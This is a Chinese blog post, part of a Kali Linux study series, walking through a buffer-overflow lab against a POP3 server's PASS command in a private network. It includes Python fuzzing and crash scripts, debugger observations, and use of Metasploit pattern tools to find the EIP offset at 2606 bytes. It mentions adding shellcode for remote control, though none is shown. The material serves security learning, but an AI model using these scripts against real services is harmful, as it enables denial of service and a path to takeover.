• Kali学习笔记21:缓冲区溢出实验(漏洞发现)


    上一篇文章,我已经做好了缓冲区溢出实验的准备工作:

    https://www.cnblogs.com/xuyiqing/p/9835561.html

    下面就是Kali虚拟机对缓冲区溢出的测试:

     已经知道目标IP为:192.168.163.130

    连接目标机器110端口成功,接下来进行测试

    事先已经知道PASS命令存在缓冲区溢出漏洞:

    只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

    但是,手动尝试这个值实在有点低端,写一个Python脚本:

     先写一个基本的脚本来测试:

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        print "
    Sending evil buffer..."
        s.connect(('192.168.163.130', 110))
        data = s.recv(1024)
        print data
    
        s.send('USER test' + '
    ')
        data = s.recv(1024)
        print data
    
        s.send('PASS test
    ')
        data = s.recv(1024)
        print data
    
        s.close()
        print '
    Done'
    
    except:
        print 'Can not connect to POP3'

    使用脚本:

    如果脚本是从windows移过来的:

    vi xxx.py

    :set fileformat=unix

    :wq

    chmod u+x xxx.py

    ./xxx.py

    测试:OK

    完善脚本:

    #!/usr/bin/python
    import socket
    
    buffer = ["A"]
    counter = 100
    
    while len(buffer) <= 30:
        buffer.append("A" * counter)
        counter += 200
    
    for string in buffer:
        print "FUZZING PASS WITH %s BYTES" % len(string)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect(('192.168.163.130', 110))
        s.recv(1024)
        s.send('USER test' + '
    ')
        s.recv(1024)
        s.send('PASS ' + string + '
    ')
        s.send('QUIT
    ')
        s.close()

    测试:OK

    我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

    这时候就需要上一篇提到的ImmunityDebugger了:

    先得到进程的PID:

    记住这个PID,打开ImmunityDebugger,file菜单选择attach

    然后找到刚才的PID选择即可:

    默认的暂停状态,点击开始按钮来继续:

    打开Kali虚拟机开始发送:

    果然,发送到2900的时候停下来了:

    我们看看windows机器:

    观察寄存器:

    注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

    这里重点注意EIP:系统下一步要执行指令的内存地址

    而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

    再看看下边的内存信息:全部都是A

    我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

    到这里我们想到:是否可以通过这个漏洞来做一些事情?

    OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

    可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

    下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

    我们进一步来写一个脚本:

    #!/usr/bin/python
    import socket
    
    buffer = 'A' * 2700
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.130', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    发送过去程序崩溃了,说明2700大了,那么需要调小一些,

    改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

    到这里就知道了,最终数据应该是2600-2700之间

    不过,具体该怎么精确地跳转呢?

    二分法:不必多说

    唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

    唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本

    使用方式: ./pattern_create.rb -l 2700

    我们使用这2700个字符地唯一字符串来修改上边地脚本,把“A”*2700换成这个字符串

    查看寄存器:

    发现唯一字符串对应地址(16进制)是:39 69 44 38

    由于内存地址,读取要倒过来:38 44 69 39

    对应字符是:8 D i 9

    那么怎样知道对应第几位呢?

    metasploit-framework一个ruby脚本可以解决:

    使用:

    或者这样:

    得出是在第2606个位置

    既然得到了是在第2606个位置:

    就可以继续修改这个脚本了:测试能否恰好是BBBB

    #!/usr/bin/python
    import socket
    
    buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.130', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    果然:

     

    查看42对应的就是B

    那么

    假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

    就可以实现远程控制的目的

    具体如何精确修改而实现对目标机器的控制呢?

    下一篇随笔具体介绍

  • 相关阅读:
    博客园创业点子摘录
    DNN性能优化方案系列(2)Page State Persistence
    以页面模块(模块定义)为添加单位的DNN控制窗格(ControlPanel)
    在SQL Server中安全的创建,使用,和删除一个临时表
    IDataErrorInfo and Business rule validation
    转:通过避免下列 10 个常见 ASP.NET 缺陷使网站平稳运行
    iis6启动HTTP压缩的方法
    TcpSocket编程与Event编写学习的好例子
    转:IIS aspnet HTTP 压缩 与Ajax
    070508_设置上次考试_考生管理_成绩批量录入
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/9849072.html
Copyright © 2020-2023  润新知